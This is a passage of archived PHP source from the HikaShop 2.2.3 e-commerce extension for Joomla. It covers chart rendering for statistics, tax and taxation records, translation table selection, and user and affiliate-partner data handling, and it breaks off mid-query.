			if(strpos($k, '.day') !== false)
				continue;
			$dropData[] = array('name' => JText::_($v),
'link' => '#'.$k, 'click' =>
'return
window.localPage.changeChartData(\'graph\',\''.$id.'\',\''.$data['key'].'\',\''.$k.'\',
this);');
		}
		$drop = $dropdownHelper->display(JText::_($ranges[ $currentRange ]),
$dropData, array('type' => '','right'
=> true,'up' => false, 'label-id' =>
'hikashop_chart_'.$id.'_range')).
				$dropdownHelper->display(JText::_('HIKA_PERIOD_BY_'.strtoupper($currentGroup)),
$groups, array('type' => '','right' =>
true,'up' => false, 'label-id' =>
'hikashop_chart_'.$id.'_group'));

		return '
<div class="hikashop_chart_data_selector"
style="float:right">'.$drop.'</div><div
style="clear:both"></div>
<div id="hikashop_chart_'.$id.'_div"
style="width:100%; height: 250px;"><div
class="hikashop_empty_chart">'.JText::_('HIKA_LOADING_CHART').'</div></div>';
	}

	protected function processGraphData($data) {
		if(empty($data['type']) || $data['type'] !=
'graph')
			return array(false,false);

		if(!empty($data['query']) &&
(!isset($data['value']) || $data['value'] === null)) {
			if(!empty($data['vars'])) {
				$data['value'] =
$this->processQuery($data['query'], $data['vars']);
			} else
				$data['value'] =
$this->processQuery($data['query']);
		}

		$col = $data['graph']['cols'];

		$headerData = array('Date');
		$default = array();
		if(!empty($data['value'])) {
			foreach($data['value'] as $value) {
				if(!isset($headerData[ 'col_'.$value->$col ])) {
					$headerData[ 'col_'.$value->$col ] = $value->$col;
					$default[$value->$col] = '0';
				}
			}
		} else if(!empty($data['query']) &&
!empty($data['vars']) &&
isset($data['vars']['DATE_START'])) {
			$vars = $data['vars'];
			$vars['DATE_START'] = 0;
			$vars['DATE_END'] = -1;
			$vars['_DATE_RANGE'] = $vars['DATE_RANGE'];
			unset($vars['DATE_RANGE']);
			$headerValues = $this->processQuery($data['query'], $vars,
1);
			foreach($headerValues as $value) {
				if(!isset($headerData[ 'col_'.$value->$col ])) {
					$headerData[ 'col_'.$value->$col ] = $value->$col;
					$default[$value->$col] = '0';
				}
			}
		}

		$chartData = array();

		if(count($headerData) == 1)
			return array($headerData, $chartData);

		if(!empty($data['graph']['axis']) &&
$data['graph']['axis'] == 'date') {
			if(!empty($data['vars']['DATE_RANGE']))
				$this->setDateRange($data,
$data['vars']['DATE_RANGE']);

			if(empty($data['vars']['DATE_START'])) {
				$first = reset($data['value']);
				$first = $first->axis;
				$d = explode('-', $first, 3);
				if(!isset($d[2])) $d[2] = 1;
				if(!isset($d[1])) $d[1] = 1;
				$first = mktime(1,0,0,(int)$d[1],(int)$d[2],(int)$d[0]) -
$this->timeoffset;
			} else {
				$first = $data['vars']['DATE_START'] -
$this->timeoffset;
			}

			if(empty($data['vars']['DATE_END']) ||
$data['vars']['DATE_END'] < 0) {
				$end = end($data['value']);
				$end = $end->axis;
				$d = explode('-', $end, 3);
				if(!isset($d[2])) $d[2] = 1;
				if(!isset($d[1])) $d[1] = 1;
				$end = mktime(1,0,0,(int)$d[1],(int)$d[2],(int)$d[0]) -
$this->timeoffset;
			} else {
				$end = $data['vars']['DATE_END'] -
$this->timeoffset;
			}

			$now = $end;
			if($now >= $first) {
				$inc = 86400;
				$format = 'Y-m-d';
				switch(@$data['vars']['DATE_GROUP']) {
					case 'year':
						$format = 'Y';
						$inc = 8640000;
						break;
					case 'month':
						$format = 'Y-m';
						$inc = 864000;
						break;
					case 'week':
						$format = 'Y W';
						$inc = 604800;
						break;
				}
				do {
					$chartData[ date($format, $first) ] = (array)$default;
					$first += $inc;
				} while($first < $now);
				if(!isset($chartData[ date($format, $now) ]))
					$chartData[ date($format, $now) ] = (array)$default;
			}
		}
		foreach($data['value'] as $value) {
			if(!isset($chartData[ $value->axis ])) {
				$chartData[ $value->axis ] = (array)($default);
			}
			$chartData[ $value->axis ][ $value->$col ] =
strip_tags($value->value);
		}
		ksort($chartData);
		foreach($chartData as $k => &$d) {
			$d = '"' .
strip_tags(str_replace('"','\\"', $k)) .
'",' . strip_tags(implode(',', $d));
		}
		unset($d);

		return array($headerData, $chartData);
	}

	protected function displayPie($data) {
		$this->initJS(@$data['vendor_id']);
		$id = uniqid();

		list($headerData, $chartData) = $this->processPieData($data);

		$options = '';
		if(!empty($data['pie']['donut']))
			$options .= ',pieHole:0.4';

		if(!empty($data['pie']['3d']))
			$options .= ',is3D:true';

		if(isset($data['pie']['legend']) &&
$data['pie']['legend'] === false)
			$options .= ',legend:"none"';

		if(!empty($data['pie']['text']) &&
in_array($data['pie']['text'],
array('label','percentage','value')))
			$options .=
',pieSliceText:"'.$data['pie']['text'].'"';

		$js = '
window.localPage.chartsInit[window.localPage.chartsInit.length] =
function() {
	var data = google.visualization.arrayToDataTable(['.
		'["' . implode('","', $headerData).
'"]'.
		(empty($chartData) ? '' : ',[') .
		implode('],[', $chartData).
		(empty($chartData) ? '' : ']') .
	']);
	var options =
{animation:{duration:500,easing:"in"}'.$options.'};
	var chart = new
google.visualization.PieChart(document.getElementById("hikashop_chart_'.$id.'_div"));
	chart.draw(data, options);

	window.localPage.charts["'.$id.'"] = {chart: chart,
options:options, data:data, max:'.count($chartData).'};
};
';

		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration($js);

		$dropdownHelper = hikashop_get('helper.dropdown');
		$ranges = $this->getDateRangeList();
		$dropData = array();
		$currentRange = '';
		if(isset($data['vars']['DATE_RANGE']))
			$currentRange = JText::_($ranges[
$data['vars']['DATE_RANGE'] ]);
		else if(isset($data['vars']['_DATE_RANGE']))
			$currentRange = JText::_($ranges[
$data['vars']['_DATE_RANGE'] ]);
		foreach($ranges as $k => $v) {
			$dropData[] = array('name' => JText::_($v),
'link' => '#'.$k, 'click' =>
'return
window.localPage.changeChartData(\'pie\',\''.$id.'\',\''.$data['key'].'\',\''.$k.'\',
this);');
		}
		$drop = $dropdownHelper->display($currentRange, $dropData,
array('type' => '','right' =>
true,'up' => false, 'label-id' =>
'hikashop_chart_'.$id.'_range'));

		return '
<div class="hikashop_chart_data_selector"
style="float:right">'.$drop.'</div><div
style="clear:both"></div>
<div id="hikashop_chart_'.$id.'_div"
style="width:100%; height: 250px;"><div
class="hikashop_empty_chart">'.JText::_('HIKA_LOADING_CHART').'</div></div>';
	}

	protected function processPieData($data) {
		if(empty($data['type']) || $data['type'] !=
'pie')
			return array(false,false);

		if(!empty($data['query']) &&
(!isset($data['value']) || $data['value'] === null)) {
			if(!empty($data['vars'])) {
				$data['value'] =
$this->processQuery($data['query'], $data['vars']);
			} else
				$data['value'] =
$this->processQuery($data['query']);
		}

		$headerData = array('Key','Value');
		if(isset($data['pie']['header']))
			$headerData = $data['pie']['header'];

		$chartData = array();
		$key = $data['pie']['key'];
		foreach($data['value'] as $value) {
			$chartData[ $value->$key ] = $value->value;
		}
		if(empty($chartData))
			return array($headerData, $chartData);

		foreach($chartData as $k => &$d) {
			if(is_array($d))
				$d =
'"'.strip_tags(str_replace('"','\\"',
$k)) . '",' . strip_tags(implode(',', $d));
			else
				$d = '"' .
strip_tags(str_replace('"','\\"', $k)) .
'",' . strip_tags($d);
		}
		unset($d);

		return array($headerData, $chartData);
	}

	protected function displayGeo($data) {
		$this->initJS(@$data['vendor_id']);
		$id = uniqid();

		list($headerData, $chartData) = $this->processGeoData($data);


		$options = array();

		$js = '
window.localPage.chartsInit[window.localPage.chartsInit.length] =
function() {
	var data = google.visualization.arrayToDataTable(['.
		'["' . implode('","', $headerData).
'"]'.
		(empty($chartData) ? '' : ',[') .
		implode('],[', $chartData).
		(empty($chartData) ? '' : ']') .
	']);
	var options = {'.implode(',', $options).'};
	var chart = new
google.visualization.GeoChart(document.getElementById("hikashop_chart_'.$id.'_div"));
	chart.draw(data, options);

	window.localPage.charts["'.$id.'"] = {chart:chart,
options:options, data:data};
};
';

		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration($js);

		$dropdownHelper = hikashop_get('helper.dropdown');
		$ranges = $this->getDateRangeList();
		$dropData = array();
		$currentRange = '';
		if(isset($data['vars']['DATE_RANGE']))
			$currentRange = JText::_($ranges[
$data['vars']['DATE_RANGE'] ]);
		else if(isset($data['vars']['_DATE_RANGE']))
			$currentRange = JText::_($ranges[
$data['vars']['_DATE_RANGE'] ]);
		foreach($ranges as $k => $v) {
			$dropData[] = array('name' => JText::_($v),
'link' => '#'.$k, 'click' =>
'return
window.localPage.changeChartData(\'geo\',\''.$id.'\',\''.$data['key'].'\',\''.$k.'\',
this);');
		}
		$drop = $dropdownHelper->display($currentRange, $dropData,
array('type' => '','right' =>
true,'up' => false, 'label-id' =>
'hikashop_chart_'.$id.'_range'));

		return '
<div class="hikashop_chart_data_selector"
style="float:right">'.$drop.'</div><div
style="clear:both"></div>
<div id="hikashop_chart_'.$id.'_div"
style="width:100%; height: 250px;"><div
class="hikashop_empty_chart">'.JText::_('HIKA_LOADING_CHART').'</div></div>';
		return '';
	}

	protected function processGeoData($data) {
		if(empty($data['type']) || $data['type'] !=
'geo')
			return array(false,false);

		if(!empty($data['query']) &&
(!isset($data['value']) || $data['value'] === null)) {
			if(!empty($data['vars'])) {
				$data['value'] =
$this->processQuery($data['query'], $data['vars']);
			} else
				$data['value'] =
$this->processQuery($data['query']);
		}

		$headerData = array('Country','Value');
		if(isset($data['geo']['header']))
			$headerData = $data['geo']['header'];

		$chartData = array();
		$key = $data['geo']['key'];
		foreach($data['value'] as $value) {
			$chartData[ $value->$key ] = $value->value;
		}
		if(empty($chartData))
			return array($headerData, $chartData);

		foreach($chartData as $k => &$d) {
			if(is_array($d))
				$d =
'"'.strip_tags(str_replace('"','\\"',
$k)) . '",' . strip_tags(implode(',', $d));
			else
				$d = '"' .
strip_tags(str_replace('"','\\"', $k)) .
'",' . strip_tags($d);
		}
		unset($d);

		return array($headerData, $chartData);
		return array(false,false);
	}

	protected function getFormatedValue($value, $format, $data = array()) {
		$ret = null;
		switch($format) {
			case 'number':
				$ret = (int)$value;
				break;
			case 'date':
				$ret = hikashop_getDate($value);
				break;
			case 'price':
				if(empty($this->currencyClass))
					$this->currencyClass = hikashop_get('class.currency');
				$currency_id = 0;
				if(!empty($data) && is_array($data))
					$currency_id = (int)@$data['currency'];
				if(!empty($data) && is_object($data))
					$currency_id = (int)@$data->currency;

				if(is_object($value)) {
					if(isset($value->currency))
						$currency_id = $value->currency;
					$value = $value->value;
				}

				$ret = str_replace(' ', '&nbsp;',
$this->currencyClass->format($value, $currency_id));
				break;
			case 'percentage':
				$ret = round(hikashop_toFloat($value), 2).'%';
				break;
			case 'translation':
			case 'trans':
				$ret = JText::_($value);
				break;
			case 'order_status':
				$ret = '<span class="order-label order-label-' .
preg_replace('#[^a-z_0-9]#i', '_', str_replace('
','_', $value)).'">' .
hikashop_orderStatus($value) . '</span>';
				break;
			case 'order_link':
				$order_id = 0;
				if(!empty($data)) {
					if(is_array($data)) $order_id = (int)@$data['order_id'];
					if(is_object($data)) $order_id = (int)@$data->order_id;
				}
				if($order_id > 0) {
					$ret = '<a
href="'.hikashop_completeLink('order&task=show&cid='.$order_id).'">'.$value.'</a>';
				} else
					$ret = $value;
				break;
			case 'string':
			default:
				$ret = $value;
				break;
		}
		return $ret;
	}

	protected function getMergedValue($value, $format, $data = array()) {
		$f = reset($value);
		if(is_object($f))
			return $f;
		return implode('<br/>', $value);
	}
}
tax.php000064400000003204151160302620006044 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopTaxClass extends hikashopClass{
	var $tables = array('tax');
	var $namekeys = array('tax_namekey');

	function get($id,$default=null){
		$query='SELECT * FROM '.hikashop_table('tax').'
WHERE tax_namekey='.$this->database->Quote($id).' LIMIT
1';
		$this->database->setQuery($query);
		return $this->database->loadObject();
	}
	function delete(&$ids){
		foreach($ids as $k => $id){
			$ids[$k] = $this->database->Quote($id);
		}
		$query='DELETE FROM '.hikashop_table('tax').'
WHERE tax_namekey IN ('.implode(',',$ids).')';
		$this->database->setQuery($query);
		return $this->database->query();
	}

	function saveForm(){
		$tax = new stdClass();
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['tax'] as $column => $value){
			hikashop_secureField($column);
			if($column=='tax_rate'){
				$tax->$column =
strip_tags(str_replace('"','',$value))/100.0;
			}else{
				$tax->$column = strip_tags($value);
			}
		}
		if(JRequest::getVar('task')!='save2new')
JRequest::setVar('tax_namekey',$tax->tax_namekey);
		return $this->save($tax);
	}

	function save(&$element){
		$old = $this->get($element->tax_namekey);
		if(!empty($old)){
			return parent::save($element);
		}else{
			$this->database->setQuery($this->_getInsert($this->getTable(),$element));
			return $this->database->query();
		}
	}
}
taxation.php000064400000002430151160302620007077 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopTaxationClass extends hikashopClass{
	var $tables = array('taxation');
	var $pkeys = array('taxation_id');
	var $toggle =
array('taxation_published'=>'taxation_id');

	function get($id,$default=null){
		$query='SELECT b.*,c.*,d.*,a.* FROM
'.hikashop_table('taxation').' AS a LEFT JOIN
'.hikashop_table('tax').' AS b ON
a.tax_namekey=b.tax_namekey LEFT JOIN
'.hikashop_table('category').' AS c ON
a.category_namekey=c.category_namekey LEFT JOIN
'.hikashop_table('zone').' AS d ON
a.zone_namekey=d.zone_namekey WHERE a.taxation_id='.(int)$id.'
LIMIT 1';
		$this->database->setQuery($query);
		return $this->database->loadObject();
	}

	function saveForm(){
		$taxation = new stdClass();
		$taxation->taxation_id = hikashop_getCID('taxation_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['taxation'] as $column => $value){
			hikashop_secureField($column);
			$taxation->$column = strip_tags($value);
		}

		return $this->save($taxation);
	}
}
translation.php000064400000001365151160302620007614 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopTranslationClass extends hikashopClass{
	var $tables = array('jf_content');
	var $pkeys = array('id');
	var $namekeys = array('');
	var $toggle = array('published'=>'id');


	function getTable(){
		$trans_table = 'jf_content';
		$translationHelper = hikashop_get('helper.translation');
		$translationHelper->isMulti();
		if($translationHelper->falang){
			$trans_table = 'falang_content';
		}
		return hikashop_table($trans_table,false);
	}
}
user.php000064400000064510151160302620006235 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopUserClass extends hikashopClass{
	var $tables = array('user');
	var $pkeys = array('user_id');

	function get($id,$type='hikashop',$geoloc=false){
		static $data = array();
		if($id===false){
			$data = array();
			return true;
		}
		if(empty($data[$type.'_'.$id])){
			$field = 'user_id';
			switch($type){
				case 'hikashop':
					$field = 'user_id';
					$id = (int)$id;
					break;
				case 'email':
					$field = 'user_email';
					$id = $this->database->Quote(trim($id));
					break;
				case 'cms':
				default:
					$field = 'user_cms_id';
					$id = (int)$id;
					break;
			}
			$geo='';
			$select='a.*,b.*';
			if($geoloc && hikashop_level(2)){
				$geo=' LEFT JOIN
'.hikashop_table('geolocation').' AS c ON
a.user_id=c.geolocation_ref_id AND
c.geolocation_type=\'user\'';
				$select.=',c.*';
			}

			$query = 'SELECT '.$select.' FROM
'.hikashop_table('user').' AS a LEFT JOIN
'.hikashop_table('users',false).' AS b ON
a.user_cms_id=b.id '.$geo.' WHERE
a.'.$field.'='.$id;
			$this->database->setQuery($query);
			$user = $this->database->loadObject();

			if(!empty($user->user_params)){
				$user->user_params = unserialize($user->user_params);
			}
			$data[$type.'_'.$id] = $user;
		}
		return $data[$type.'_'.$id];
	}
	function getID($cms_id,$type='cms'){
		$user = $this->get($cms_id,$type);
		$id = (int)@$user->user_id;

		if(empty($id)&&$type=='cms'){
			$userData = JFactory::getUser($cms_id);
			if(!empty($userData)){
				$user = new stdClass();
				$user->user_cms_id = $cms_id;
				$user->user_email = $userData->email;
				$id = $this->save($user);
			}

		}

		return $id;
	}

	function save(&$element,$skipJoomla=false){
		$new = true;
		if(!empty($element->user_id)){
			$new = false;
		}else{
			if(empty($element->user_created_ip)){
				$element->user_created_ip = hikashop_getIP();
			}
			if(empty($element->user_created)){
				$element->user_created = time();
			}
			if(empty($element->user_email)&&!empty($element->user_cms_id)){
				$user =& JFactory::getUser($element->user_cms_id);
				$element->user_email = $user->email;
			}elseif(!empty($element->user_email)&&empty($element->user_cms_id)){
			}
		}

		if(isset($element->user_currency_id)){
			$user = $this->get($element->user_id);
			$config =& hikashop_config();
			if(empty($user->user_currency_id)){
				$user->user_currency_id =
$config->get('partner_currency');
			}
			$previousPartnerCurrency = $user->user_currency_id;
			$app = JFactory::getApplication();
			if($app->isAdmin()){
				if($element->user_currency_id ==
$config->get('partner_currency')){
					$element->user_currency_id=0;
				}
			}else{
				if($config->get('allow_currency_selection')){
					$currencyClass = hikashop_get('class.currency');
					$currency = $currencyClass->get($element->user_currency_id);
					if(empty($currency->currency_published)){
						unset($element->user_currency_id);
					}
				}else{
					unset($element->user_currency_id);
				}
			}
			if(!empty($element->user_currency_id))
$element->user_currency_id=(int)$element->user_currency_id;
		}

		if(!empty($element->user_params)){
			$element->user_params = serialize($element->user_params);
		}
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if($new){
			$dispatcher->trigger( 'onBeforeUserCreate', array( &
$element, & $do) );
		}else{
			$dispatcher->trigger( 'onBeforeUserUpdate', array( &
$element, & $do) );
		}
		if(!$do){
			return false;
		}
		$element->user_id = parent::save($element);

		if(!empty($element->user_id)){

			if($new){
				$dispatcher->trigger( 'onAfterUserCreate', array( &
$element ) );
			}else{
				$dispatcher->trigger( 'onAfterUserUpdate', array( &
$element ) );
			}

			if($element->user_id==hikashop_loadUser()){
				hikashop_loadUser(null,true);
				$this->get(false);
			}
			if($new){
				$plugin = JPluginHelper::getPlugin('system',
'hikashopgeolocation');
				if(!empty($plugin) && hikashop_level(2)){
					jimport('joomla.html.parameter');
					$params = new HikaParameter( $plugin->params );
					if(!empty($params)){
						if($params->get('user',1)){
								$geo = new stdClass();
								$geo->geolocation_ref_id = $element->user_id;
								$geo->geolocation_type = 'user';
								$geo->geolocation_ip = $element->user_created_ip;
								$class = hikashop_get('class.geolocation');
								$class->params =& $params;
								$class->save($geo);
							}
					}
				}
			}else{
				if(!$skipJoomla && !empty($element->user_email)){
					if(empty($element->user_cms_id)){
						$userData = $this->get($element->user_id);
						$element->user_cms_id = $userData->user_cms_id;
					}
					$user = JFactory::getUser($element->user_cms_id);
					if(!empty($user) &&
$element->user_email!=$user->email){
						$user->email = $element->user_email;
						$user->save();
					}
				}
				if(isset($element->user_currency_id)){
					if(empty($element->user_currency_id)){
						$element->user_currency_id =
$config->get('partner_currency');
					}
					if($element->user_currency_id!=$previousPartnerCurrency){
						$currencyClass = hikashop_get('class.currency');
						$config =& hikashop_config();
						$null=null;
						$main_currency = (int)$config->get('main_currency',1);
						$ids = array();
						$ids[$previousPartnerCurrency]=$previousPartnerCurrency;
						$ids[$element->user_currency_id]=$element->user_currency_id;
						$ids[$main_currency]=$main_currency;
						$currencies=$currencyClass->getCurrencies($ids,$null);
						$srcCurrency = $currencies[$previousPartnerCurrency];
						$dstCurrency = $currencies[$element->user_currency_id];
						$mainCurrency =  $currencies[$main_currency];
						$this->_updatePartnerPrice($srcCurrency,$dstCurrency,$mainCurrency,$element,'click');
						$this->_updatePartnerPrice($srcCurrency,$dstCurrency,$mainCurrency,$element,'order');
						$this->_updatePartnerPrice($srcCurrency,$dstCurrency,$mainCurrency,$element,'user');
					}
				}
			}
		}
		return $element->user_id;
	}

	function
_updatePartnerPrice(&$srcCurrency,&$dstCurrency,&$mainCurrency,&$element,$type='click'){
		$amount='';
		if($srcCurrency->currency_id!=$mainCurrency->currency_id){
			$amount='('.$type.'_partner_price/ ((1+
'.floatval($srcCurrency->currency_percent_fee).'/100)*'.floatval($srcCurrency->currency_rate).'
)) ';
			if($dstCurrency->currency_id!=$mainCurrency->currency_id){
				$amount =
'('.$amount.'*'.floatval($dstCurrency->currency_rate).')*(1+'.floatval($dstCurrency->currency_percent_fee).'/100)';
			}
		}elseif($dstCurrency->currency_id!=$mainCurrency->currency_id){
			$amount = '('.$type.'_partner_price
*'.floatval($dstCurrency->currency_rate).')*(1+'.floatval($dstCurrency->currency_percent_fee).'/100)';
		}
		if(!empty($amount)){
			$amount = ','.$type.'_partner_price='.$amount;
		}
		$orCurrencyConfig = ($srcCurrency->currency_id ==
$mainCurrency->currency_id) ? ' OR
'.$type.'_partner_currency_id=0' : '';

		$query = 'UPDATE '.hikashop_table($type).' SET
'.$type.'_partner_currency_id='.$element->user_currency_id.$amount.'
WHERE '.$type.'_partner_id='.$element->user_id.' AND
'.$type.'_partner_paid=0 AND
('.$type.'_partner_currency_id='.$srcCurrency->currency_id.$orCurrencyConfig.')';
		$this->database->setQuery($query);
		$this->database->query();
	}

	function saveForm(){
		$oldUser = null;
		$user_id = hikashop_getCID('user_id');
		if($user_id){
			$oldUser = $this->get($user_id);
		}
		$fieldsClass = hikashop_get('class.field');
		$element = $fieldsClass->getInput('user',$oldUser);
		if(empty($element)){
			return false;
		}
		$element->user_id = $user_id;

		$status = $this->save($element);
		if($status){
			hikashop_loadUser(null,true);
			$this->get(false);
		}
		return $status;
	}

	function delete(&$elements,$fromCMS=false){
		$result = true;
		if(!empty($elements)){
			if(!is_array($elements)){
				$elements = array((int)$elements);
			}else{
				JArrayHelper::toInteger($elements);
			}
			JPluginHelper::importPlugin( 'hikashop' );
			$dispatcher = JDispatcher::getInstance();
			$do=true;
			$dispatcher->trigger( 'onBeforeUserDelete', array( &
$elements, & $do) );
			if(!$do){
				return false;
			}
			foreach($elements as $el){
				$query = 'SELECT count(*) FROM
'.hikashop_table('order').' WHERE
order_user_id='.$el;
				$this->database->setQuery($query);
				$hasOrders = $this->database->loadResult();
				if(empty($hasOrders)){
					$result = parent::delete($el);
					if($result){
						$address = hikashop_get('class.address');
						$addresses = $address->loadUserAddresses($el);

						foreach($addresses as $id => $data){
							$address->delete($id);
						}
					}
				}else{
					$app = JFactory::getApplication();
					if($app->isAdmin()){
						$data = $this->get($el);
						$app->enqueueMessage('The user with the email address
"'.$data->user_email.'" could not be deleted in
HikaShop because he has orders attached to him. If you want to delete this
user in HikaShop as well, you first need to delete his orders.');
						$result = false;
					}
					if($fromCMS){
						$query = 'UPDATE '.hikashop_table('user').'
SET user_cms_id=0 WHERE user_id IN
('.implode(',',$elements).')';
						$this->database->setQuery($query);
						$result = $this->database->query();
					}
				}
			}
			if($result){
				$dispatcher->trigger( 'onAfterUserDelete', array( &
$elements ) );
			}
		}

		return $result;
	}

	function loadPartnerData(&$user){
		$config=&hikashop_config();

		if(empty($user->user_params->user_custom_fee)){
			if(!isset($user->user_params) || !is_object($user->user_params)){
				if(is_null($user)) $user = new stdClass();
				$user->user_params = new stdClass();
			}
			$user->user_params->user_partner_click_fee =
$config->get('partner_click_fee',0);
			$user->user_params->user_partner_lead_fee =
$config->get('partner_lead_fee',0);
			$user->user_params->user_partner_percent_fee =
$config->get('partner_percent_fee',0);
			$user->user_params->user_partner_flat_fee =
$config->get('partner_flat_fee',0);
		}

		$user->accumulated=array();
		$db = JFactory::getDBO();
		if(!empty($user->user_partner_activated)){

			$minDelay = $config->get('affiliate_payment_delay',0);
			$maxTime = intval(time() - $minDelay);


			$user->accumulated['currentclicks']=$user->accumulated['clicks']=$user->accumulated['paidclicks']=0;
			if(bccomp($user->user_params->user_partner_click_fee,0,5)){
				$query='SELECT SUM(click_partner_price) AS
clicks_total,click_partner_paid FROM
'.hikashop_table('click').' WHERE
click_partner_id='.$user->user_id.' GROUP BY
click_partner_paid';
				$db->setQuery($query);
				$results = $db->loadObjectList('click_partner_paid');
				$user->accumulated['currentclicks']=$user->accumulated['clicks']=@$results[0]->clicks_total*1;
				$user->accumulated['paidclicks'] =
@$results[1]->clicks_total*1;

				if(!empty($minDelay)){
					$query='SELECT SUM(click_partner_price) AS clicks_total FROM
'.hikashop_table('click').' WHERE
click_partner_id='.$user->user_id.' AND click_created <
'.$maxTime.' AND click_partner_paid=0 GROUP BY
click_partner_id';
					$db->setQuery($query);
					$user->accumulated['currentclicks']=$db->loadResult()*1;
				}

			}
			$user->accumulated['currentleads']=$user->accumulated['leads']=$user->accumulated['paidleads']=0;
			if(bccomp($user->user_params->user_partner_lead_fee,0,5)){
				$query='SELECT SUM(user_partner_price) AS
leads_total,user_partner_paid FROM
'.hikashop_table('user').' WHERE
user_partner_id='.$user->user_id.' GROUP BY
user_partner_paid';
				$db->setQuery($query);
				$results = $db->loadObjectList('user_partner_paid');
				$user->accumulated['currentleads']=$user->accumulated['leads']=@$results[0]->leads_total*1;
				$user->accumulated['paidleads'] =
@$results[1]->leads_total*1;
				if(!empty($minDelay)){
					$query='SELECT SUM(user_partner_price) AS leads_total FROM
'.hikashop_table('user').' WHERE
user_partner_id='.$user->user_id.' AND user_created <
'.$maxTime.' AND user_partner_paid=0 GROUP BY
user_partner_id';
					$db->setQuery($query);
					$user->accumulated['currentleads']=$db->loadResult()*1;
				}
			}

			$user->accumulated['currentsales']=$user->accumulated['sales']=$user->accumulated['paidsales']=0;
			if(bccomp($user->user_params->user_partner_percent_fee,0,5) ||
bccomp($user->user_params->user_partner_flat_fee,0,5)){
				$partner_valid_status_list=explode(',',$config->get('partner_valid_status','confirmed,shipped'));
				foreach($partner_valid_status_list as $k => $partner_valid_status){
					$partner_valid_status_list[$k]=
$this->database->Quote($partner_valid_status);
				}
				$query='SELECT SUM(order_partner_price) AS sales_total,
order_partner_paid FROM '.hikashop_table('order').'
WHERE order_partner_id='.$user->user_id.' AND
order_type=\'sale\' AND order_status IN
('.implode(',',$partner_valid_status_list).') GROUP BY
order_partner_paid';
				$db->setQuery($query);
				$results = $db->loadObjectList('order_partner_paid');
				$user->accumulated['currentsales']=$user->accumulated['sales']=@$results[0]->sales_total*1;
				$user->accumulated['paidsales'] =
@$results[1]->sales_total*1;
				if(!empty($minDelay)){
					$query='SELECT SUM(order_partner_price) AS sales_total FROM
'.hikashop_table('order').' WHERE
order_partner_id='.$user->user_id.' AND order_created <
'.$maxTime.' AND order_type=\'sale\' AND
order_partner_paid=0 AND order_status IN
('.implode(',',$partner_valid_status_list).') GROUP BY
order_partner_id';
					$db->setQuery($query);
					$user->accumulated['currentsales']=$db->loadResult()*1;
				}

			}
			$user->accumulated['total'] =
round($user->accumulated['sales'] +
$user->accumulated['leads'] +
$user->accumulated['clicks'],2);
			$user->accumulated['currenttotal'] =
round($user->accumulated['currentsales'] +
$user->accumulated['currentleads'] +
$user->accumulated['currentclicks'],2);
			$user->accumulated['paidtotal'] =
round($user->accumulated['paidsales'] +
$user->accumulated['paidleads'] +
$user->accumulated['paidclicks'],2);
		}

	}

	function loadSales(&$user,$base){
		if(empty($user->user_params->user_custom_fee)){
			$config=&hikashop_config();
			$user->user_params->user_partner_percent_fee =
$config->get('partner_percent_fee',0);
			$user->user_params->user_partner_flat_fee =
$config->get('partner_flat_fee',0);
		}
		$user->sales = array();
		if(!empty($user->user_partner_activated)){
			if(bccomp($user->user_params->user_partner_percent_fee,0,5) ||
bccomp($user->user_params->user_partner_flat_fee,0,5)){
				$config =& hikashop_config();
				$partner_valid_status_list=explode(',',$config->get('partner_valid_status','confirmed,shipped'));
				foreach($partner_valid_status_list as $k => $partner_valid_status){
					$partner_valid_status_list[$k]=
$this->database->Quote($partner_valid_status);
				}
				$query='SELECT * FROM
'.hikashop_table('order').' WHERE
order_partner_id='.$user->user_id.' AND
order_type=\'sale\' AND order_partner_paid=0 AND order_status IN
('.implode(',',$partner_valid_status_list).') ORDER BY
order_created DESC';
				$db->setQuery($query);
				$user->sales = $db->loadObjectList();
			}
		}
	}

	function loadClicks(&$user,$base){
		if(empty($user->user_params->user_custom_fee)){
			$config=&hikashop_config();
			$user->user_params->user_partner_click_fee =
$config->get('partner_click_fee',0);
		}
		$user->clicks = array();
		if(!empty($user->user_partner_activated)){
			if(bccomp($user->user_params->user_partner_click_fee,0,5)){
				$query='SELECT * FROM
'.hikashop_table('click').' WHERE
click_partner_id='.$user->user_id.' AND click_partner_paid=0
ORDER BY click_created DESC';
				$db->setQuery($query);
				$user->clicks = $db->loadObjectList();
			}
		}
	}

	function loadLeads(&$user,$base){
		if(empty($user->user_params->user_custom_fee)){
			$config=&hikashop_config();
			$user->user_params->user_partner_lead_fee =
$config->get('partner_lead_fee',0);
		}
		$user->leads = array();
		if(!empty($user->user_partner_activated)){
			if(bccomp($user->user_params->user_partner_lead_fee,0,5)){
				$query='SELECT * FROM
'.hikashop_table('user').' WHERE
user_partner_id='.$user->user_id.' AND user_partner_paid=0
ORDER BY user_id DESC';
				$db->setQuery($query);
				$user->leads = $db->loadObjectList();
			}
		}
	}

	function getLatest($partner_id,$ip,$lead_min_delay){
		$query = 'SELECT user_id FROM
'.hikashop_table('user').' WHERE
user_partner_id='.(int)$partner_id.' AND
